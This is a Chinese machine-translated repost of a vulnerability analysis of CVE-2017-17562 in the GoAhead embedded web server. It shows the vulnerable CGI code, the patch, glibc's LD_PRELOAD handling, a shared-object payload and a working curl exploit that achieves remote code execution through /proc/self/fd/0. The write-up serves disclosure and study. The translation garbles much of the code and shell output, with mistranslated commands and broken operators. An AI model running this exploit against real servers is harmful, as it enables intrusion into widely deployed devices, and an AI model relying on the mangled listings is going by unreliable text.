0x01简介
CVE-2017-17562是一个基于继续前进的网络服务器
造成该漏洞的原因是GoAhead允许用户通过参数构造任意环境变量,这会影响所有启用了动态链接的CGI可执行文件。当CGI程序调用glibc动态链接库时,像LD _ PRELOAD(通常用于函数挂钩)这样的环境变量会导致远程代码执行。
GoAhead是全球最流行的嵌入式Web服务器,IBM、惠普、甲骨文、波音、D-Link、摩托罗拉都在使用。在Shodan上,我们可以发现超过735,000个设备使用GoAhead。
本文以GoAhead为案例进行研究,其他很多类型的软件都有类似的问题。
0x02漏洞分析
该漏洞存在于GoAhead的所有版本中(我们能得到的最低版本是2.5.0),可以通过以下命令获得GoAhead的源代码:
daniel@makemyday:~$git克隆https://github.com/embedthis/goahead.git
克隆到“goahead”...
远程:计数对象:20583,完成。
远程:总计20583(增量0),重用0(增量0),包重用20583
接收对象:100% (20583/20583),19.71 MiB | 4.76 MiB/s,完成。
解决差值:100% (14843/14843),完成。
daniel@makemyday:~$cd goahead/
daniel@makemyday:~/goahead$ls
configure CONTRIBUTING.md doc安装main . me Makefile paks README . MD test
configure . bat dist farm . JSON LICENSE . MD make . bat package . JSON project src
daniel@makemyday:~/goahead$git结账标签/v3.6.4 -q
Daniel @ make my day:~/goahead $ make & gt;/dev/null
Daniel @ make my day:~/go ahead $ CD test
Daniel @ make my day:~/go ahead/test $ gcc。/cgitest.c -ocgi-bin/cgitest
Daniel @ make myday:~/go ahead/test $ sudo../build/Linux-x64-default/bin/go ahead
0x03代码
该漏洞存在于cgiHandler函数中,该函数为新进程的envp参数分配一个指针数组,然后用HTTP参数中的键值初始化该数组。最后,由fork和executive执行的Cgi脚本调用launchCgi函数。
程序会过滤REMOTE_HOST和HTTP_AUTHORIZATION,除了其他参数可信,没有进一步过滤。这允许攻击者在新的CGI进程中控制环境变量。这种行为很危险,后面会详细描述。
图3:goahead/src/cgi.c:cgihandler
...
public boolcgihandler(WeB * WP)
{
Cgi * cgip
WebsKey * s;
charcgiPrefix[ME _ GOAHEAD _ LIMIT _ FILENAME],*stdIn,*stdOut,CWD[ME _ GOAHEAD _ LIMIT _ FILENAME];
char*cp,*cgiName,*cgiPath,**argp,**envp,**ep,*tok,*query,*dir,*extraPath,* exe
CgiPidpHandle
intn,envpsize,argpsize,cid
...
/*
将所有CGI变量添加到要传递给生成的CGI进程的环境字符串中。这包括几个
符号表中还没有,加上vars符号表中的所有符号。envp将指向
指向一大堆指针。每个指针将指向一个包含关键字值对的瓦隆字符串
关键字=值。因为我们事先不知道会有多少环境字符串
循环包含通过wrealloc增加数组大小的逻辑。
*/
envpsize = 64
envp = walloc(env psize * sizeof(char *));
for(n=0,s = HashFirst(WP->;vars);s!= NULLs = HashNext(WP->;vars,s)){
if(s->;内容有效。& amps->;content.type = = string & amp& amp
strcmp(s->;name.value.string," REMOTE_HOST ")!= 0 & amp& amp
strcmp(s->;name.value.string," HTTP _ AUTHORIZATION ")!=0){
envp[n++]=sfmt("%s=%s ",s->。name.value.string,s->;content . value . string);
跟踪(5," Env[%d] %s ",n,envp[n-1]);
if(n >;=envpsize){
env psize * = 2;
envp=wrealloc(envp,env psize * sizeof(char *));
}
}
}
*(envp+n)= NULL;
/*
为孩子的标准输入和标准输出创建临时文件名。对于开机自检数据,标准输入临时文件(和名称)
应该已经存在。
*/
if(wp->;cgiStdin==NULL){
wp->。cgiStdin = websGetCgiCommName();
}
stdIn=wp->。cgiStdin
stdOut = websGetCgiCommName();
if(wp->;cgifd>。=0){
关闭(wp->;cgifd);
wp->。cgifd =-1;
}
/*
现在启动流程。如果不成功,请清理资源。如果成功,清理将
过程完成后完成。
*/
if((PhAnDole = launchCgi(CGI path,argp,envp,stdIn,stdOut))==(CgiPid)-1){
...
0x04补丁
这个问题是通过过滤掉特殊参数解决的,即使对于a=b%00LD_PRELOAD%3D这样的参数,似乎也是可以过滤的。如果你发现其他可以绕过的情况,你愿意沟通。
图4:git diff f9ea 55a 6f 786 C1 src/CGI . c
diff - git a/src/cgi.c b/src/cgi.c
索引899ec97b..18d9b45b 100644
- a/src/cgi.c
+++ b/src/cgi.c
@@ -160,10 +160,17 @ @ PUBLIC bool CGihandler(web * WP)
envpsize = 64
envp = walloc(env psize * sizeof(char *));
for (n = 0,s = HashFirst(WP->;vars);s!= NULLs = HashNext(WP->;vars,s)) {
-if(s->;内容有效。& amps->;content.type = = string & amp& amp
- strcmp(s->;name.value.string," REMOTE_HOST ")!= 0 & amp& amp
- strcmp(s->;name.value.string," HTTP _ AUTHORIZATION ")!= 0) {
- envp[n++] = sfmt("%s=%s ",s->。name.value.string,s->;content . value . string);
+if(s->;内容有效。& amps->;content.type == string) {
+if(smatch(s->;name.value.string," REMOTE_HOST") ||
+ smatch(s->;name.value.string," HTTP _ AUTHORITY ")| |
+ smatch(s->;name.value.string," IFS") ||
+ smatch(s->;name.value.string," CDPATH") ||
+ smatch(s->;name.value.string," PATH") ||
+s零件(s->;name.value.string," LD _ "){
+继续;
+ }
+ envp[n++] = sfmt("%s%s=%s ",ME _ GOAHEAD _ CGI _ PREFFREY,
+ s->。name.value.string,s->;content . value . string);
跟踪(5," Env[%d] %s ",n,envp[n-1]);
if (n >;= envpsize) {
env psize * = 2;
0x05开发
虽然注入环境变量的问题看起来没有那么严重,但是有时候特殊的环境变量会导致动态链接库劫持程序的控制流。
极低频动态链路
通过读取GoAhead的ELF文件头,可以看出它是一个64位动态链接的可执行文件。INTERPeter程序在interpr部分指出,指向/lib64/ld-linux-x86-64.so.2(这是一个动态链接器)。
图5:读取极低频标题
Daniel @ make myday:~/goahead/build/Linux-x64-default/bin $ readelf-HL。/goahead
极低频标题:
魔法:7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
类别:ELF64
数据:2的补码,小端字节序
版本:1(当前)
操作系统/ABI: UNIX -系统五
ABI版本:0
类型:DYN(共享对象文件)
机器:高级微设备X86-64
版本:0x1
入口点地址:0xf80
程序头开始:64(文件字节)
节标题的开始:21904(文件字节)
标志:0x0
此标头的大小:64(字节)
程序头的大小:56(字节)
节目标题数:9
节标题的大小:64(字节)
节标题数:34
节标题字符串表索引:33
程序标题:
类型偏移VirtAddr物理地址
文件大小内存大小标志对齐
PHDR 0x 0000000000000000040 0x 000000000000040 0x 0000000000000000040
0x 00000000000000001 F8 0x 0000000000001 F8 R E 0x 8
INTERP 0x 0000000000000000238 0x 0000000000000238 0x 00000000000000238
0x 000000000000000001 c 0x 0000000000001 c R 0x 1
[请求程序解释器:/lib64/ld-linux-x86-64.so.2]
...
Daniel @ make myday:~/goahead/build/Linux-x64-default/bin $
动态链接器是动态链接的可执行文件中允许的第一个代码,负责链接和加载共享对象以及解析符号。为了获得goahead进程加载的所有共享对象的列表,我们可以将一个特殊的环境变量LD_TRACE_LOADED_OBJECTS设置为1。运行后,它将打印加载的库并退出。
图6:ld.so LD_TRACE_LOADED_OBJECTS
Daniel @ make myday:~/go ahead/build/Linux-x64-default/bin $ LD _ TRACE _ LOADED _ Objects = 1。/goahead
linux-vdso.so.1 =>。(0x00007fff31bb4000)
libgo.so =>。/home/Daniel/goahead/build/Linux-x64-default/bin/libgo . so(0x 00007 f 571 f 548000)
libc.so.6 =>。/lib/x86 _ 64-Linux-GNU/libc . so . 6(0x 00007 f 571 f 168000)
libpthread.so.0 =>。/lib/x86 _ 64-Linux-GNU/libpthread . so . 0(0x 00007 f 571 ef 49000)
/lib 64/LD-Linux-x86-64 . so . 2(0x 00007 f 571 f 806000)
Daniel @ make myday:~/goahead/build/Linux-x64-default/bin $
我们还可以静态地找到这些信息(不允许动态链接)。方法是在ELF共享对象中通过grep找到DT _ NEQUIRED定义。
图7:静态查找共享对象依赖关系
daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf -d./goahead | grep NEEDED0x0000000000000001 (NEEDED) Shared library: [libgo.so]0x0000000000000001 (NEEDED) Shared library: [libc.so.6]daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf -d/home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED0x0000000000000001 (NEEDED) Shared library: [libpthread.so.0]0x0000000000000001 (NEEDED) Shared library: [libc.so.6]daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf -d/lib/x86_64-linux-gnu/libc.so.6 | grep NEEDED0x0000000000000001 (NEEDED) Shared library: [ld-linux-x86-64.so.2]daniel@makemyday:~/goahead/build/linux-x64-default/bin$注意:一些认真的读者可能会注意到缺少linux-vdso.so.1。没毛病!VDSO是一个特殊的共享库,由内核映射到内存中。详见man 7 vdso。
特殊环境变量
那么,这和环境变量的注入有什么关系呢?正如我们所知,动态链接器是执行新进程的第一个代码。如果我们阅读man 8 ld.so,我们可以发现有一些特殊的环境变量可以修改默认行为。
让我们阅读源代码,看看里面发生了什么。dl_main函数是动态链接器的入口函数。
图-8:glibc/elf/rtld.c:dl_main
static void dl _ main(ConstelfW(Phdr)* Phdr,
ElfW(Word)phnum,ElfW(Addr)*user_entry,ElfW(auxv_t)*auxv){constElfW(Phdr)*ph;enummodemode;structlink_map*main_map;size_tfile_size;char*file;boolhas_interp=false;unsignedinti;.../* Process the environment variable which control the behaviour. */process_envvars(&mode);从代码中可以看出,这个函数做的第一件事就是调用process_envvars函数。
图9:glibc/elf/rtld . c:process _ env vars
staticvoid
process _ env vars(enum mode * modep){ char * * runp = _ environ;char * envlineenummodemode =正常;char * debug _ output = NULL/*这是分析数据文件的默认位置。*/GLRO(dl _ profile _ output)= & amp;"/var/tmp 0/var/profile " _ _ libc _ enable _ secure?9:0];while((env line = _ dl _ next _ LD _ env _ entry(& amp;runp))!= NULL){ size _ tlen = 0;while(envline[len]!= ' 0 ' & amp& ampenvline[len]!= ' = ')++ len;if(envline[len]!='=')/*这是一个在字符串末尾没有' = '字符的“LD_”变量。忽略它,否则我们将访问下面的无效内存。*/继续;switch(len){case4:/*警告级别,详细与否。*/if(memcmp(envline,“WARN”,4)= = 0)GLRO(dl _ verbose)= env line[5]!='0';打破;案例5:/*动态链接器的调试?*/if(memcmp(envline,“DEBUG”,5)= = 0 { process _ dl _ DEBUG(& amp;env line[6]);打破;}if(memcmp(envline,“AUDIT”,5)= = 0 AUDIT _ list _ string = & amp;env line[6];打破;案例7:/*打印版本信息。*/if(memcmp(envline," VERBOSE ",7)= = 0 { version _ info = env line[8]!='0';打破;}/*要预加载的对象列表。*/if(memcmp(envline,“PRELOAD”,7)= = 0 { preLOADlist = & amp;env line[8];打破;}
我们可以看到链接器解析envp数组,如果它找到一个特殊的变量名,它会执行一个不同的代码路径。特别有意思的是,案例7收到LD_PRELOAD后,给preloadlist赋值。
图10:glibc/elf/rtld.c:dl_main
.../* We have two ways to specify objects to preload: via environmentvariable and via the file /etc/ld.so.preload. The latter can alsobe used when security is enabled. */assert(*first_preload==NULL);structlink_map**preloads=NULL;unsignedintnpreloads=0;if(__glibc_unlikely(preloadlist!=NULL)){HP_TIMING_NOW(start);npreloads+=handle_ld_preload(preloadlist,main_map);HP_TIMING_NOW(stop);HP_TIMING_DIFF(diff,start,stop);HP_TIMING_ACCUM_NT(load_time,diff);}...查看dl_main函数,如果预加载列表不为NULL,则调用handle_ld_preload函数。
图-11:glibc/elf/rtld . c:handle _ LD _ preload
/* The list preloaded objects. */staticconstchar*preloadlistattribute_relro;/* Nonzero if information about versions has to be printed. */staticintversion_infoattribute_relro;/* The LD_PRELOAD environment variable gives list of librariesseparated by white space or colons that are loaded before theexecutable's dependencies and prepended to the global scope list.(If the binary is running setuid all elements containing a '/' areignored since it is insecure.) Return the number of preloadsperformed. */unsignedinthandle_ld_preload(constchar*preloadlist,structlink_map*main_map){unsignedintnpreloads=0;constchar*p=preloadlist;charfname[SECURE_PATH_LIMIT];while(*p!='0'){/* Split preload list at space/colon. */size_tlen=strcspn(p," :");if(len>0&&len<sizeof(fname)){memcpy(fname,p,len);fname[len]='0';}elsefname[0]='0';/* Skip over the substring and the following delimiter. */p+=len;if(*p!='0')++p;if(dso_name_valid_for_suid(fname))npreloads+=do_preload(fname,main_map,"LD_PRELOAD");}returnnpreloads;}...函数handle_ld_preload将解析预加载列表,并将其视为要加载的共享对象列表!
如果我们用goahead注入LD_PRELOAD环境变量,可以用glibc处理特殊的环境变量,加载ELF文件中没有链接的任何共享对象!
0x06 ELF。所以
这太他妈的棒了,我们可以强制goahead加载任意共享对象。但是有个问题,怎么才能让它允许代码?
在。init和。最后,如果我们修改一个带有构造函数属性的函数,我们可以强制该函数在main之前执行。
图12:PoC/有效载荷. c
#include <unistd.h>staticvoidbefore_main(void)__attribute__((constructor));staticvoidbefore_main(void){write(1,"Hello: World!n",14);}图13:将有效载荷编译为共享对象。
Daniel @ make my day:~/go ahead/PoC $ gcc-shared-FPIc。/payload . c-opayload . sodaniel @ make my day:~/go ahead/PoC $ LD _ PREFELD =。/payload . so cat/dev/NullHello:World!Daniel @ make my day:~/go ahead/PoC $
太好了,如果我们在goahead的测试系统上运行它会发生什么?
图14:尝试一个简单的概念验证
daniel@makemyday:~/goahead/PoC$ls-la./payload.so-rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.sodaniel@makemyday:~/goahead/PoC$echo-en"GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0rnrn"| nc localhost 80 | head -10HTTP/1.0 200 OKDate: Wed Dec 13 02:38:56 2017Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINPragma: no-cacheCache-Control: no-cachehello: World!content-type: text/htmldaniel@makemyday:~/goahead/PoC$我们可以清楚地看到,我们的共享代码是由cgitest进程通过LD _ PRELOAD执行的。
0x07 LINUX /PROC/SELF/FD/0
目前还有一个关键问题。即使我们知道可以从磁盘加载共享对象,从而允许执行自定义代码,但是如何将构造的共享对象注入远程服务器呢?如果做不到这一点,那么这个漏洞就有点鸡了。
幸运的是,launchCgi函数实际上使用dup2()将stdin文件描述符指向包含POST请求正文的临时文件。这意味着磁盘上会有一个用户提供的数据文件,可以被LD _ PREFELD =/tmp/CGI-XXXXXX引用。
图15:go ahead/src/CGI . c:launchccgi
/*Launch the CGI process and return a handle to it.*/static CgiPidlaunchCgi(char*cgiPath,char**argp,char**envp,char*stdIn,char*stdOut){intfdin,fdout,pid;trace(5,"cgi: run %s",cgiPath);if((fdin=open(stdIn,O_RDWR|O_CREAT|O_BINARY,0666))<0){error("Cannot open CGI stdin: ",cgiPath);return-1;}if((fdout=open(stdOut,O_RDWR|O_CREAT|O_TRUNC|O_BINARY,0666))<0){error("Cannot open CGI stdout: ",cgiPath);return-1;}pid=vfork();if(pid==0){/*Child*/if(dup2(fdin,0)<0){printf("content-type: text/htmlnnDup of stdin failedn");_exit(1);}elseif(dup2(fdout,1)<0){printf("content-type: text/htmlnnDup of stdout failedn");_exit(1);}elseif(execve(cgiPath,argp,envp)==-1){printf("content-type: text/htmlnnExecution of cgi process failedn");}...}然而,如果我们这样做,我们需要猜测(并非不可能)包含我们的POST内容的临时文件名,这似乎有点痛苦。幸运的是,Linux procfs文件系统有一个很好的符号链接,我们可以用它来指向我们的临时文件stdin的描述符。您可以将LD _ PRELOAD指向/proc/self/fd/0,也可以使用/dev/stdin直接访问它。
图-16:linux/fs/proc/self.c
static const char* proc_self_get_link(structdentry*dentry,structinode*inode,structdelayed_call*done){structpid_namespace*ns=inode->i_sb->s_fs_info;pid_ttgid=task_tgid_nr_ns(current,ns);char*name;if(!tgid)returnERR_PTR(-ENOENT);/* 11 for max length of signed int in decimal + NULL term */name=kmalloc(12,dentry?GFP_KERNEL:GFP_ATOMIC);if(unlikely(!name))returndentry?ERR_PTR(-ENOMEM):ERR_PTR(-ECHILD);sprintf(name,"%d",tgid);set_delayed_call(done,kfree_link,name);returnname;}staticconststructinode_operationsproc_self_inode_operations={.get_link=proc_self_get_link,};这样,我们就可以通过开机自检请求来可靠地利用该漏洞。开机自检请求包含恶意共享对象。同时,设置LD _ PREFELD =/proc/self/FD/0来引用我们POST的共享对象,达到远程攻击的目的。
图17:通过命令行利用
daniel@makemyday:~/goahead/PoC$curl -XPOST --data-binary@payload.so http://makemyday/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i| head% Total % Received % Xferd Average Speed Time Time Time CurrentDload Upload Total Spent Left Speed100 9931 0 2035 100 7896 2035 7896 0:00:01 0:00:01 --:--:-- 9774HTTP/1.1 200 OKDate: Sun Dec 17 13:08:20 2017Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINPragma: no-cacheCache-Control: no-cachehello: World!Content-type: text/htmldaniel@makemyday:~/goahead/PoC$如果您需要概念验证,请访问我们的GitHub项目。
0x08结论
这个漏洞是一个有趣的研究案例,思路非常新颖。本文起到了很重要的作用,引入的漏洞在其他应用服务中也可能存在。
如果你有兴趣了解更多关于链接和加载的知识,这里有两篇很棒的文章可以阅读。
翻译来源:https://www.elttam.com.au/blog/goahead/,点击直接阅读原文!
1.《goahead GoAhead远程代码执行漏洞分析报告》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。
2.《goahead GoAhead远程代码执行漏洞分析报告》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。
3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/fangchan/1217398.html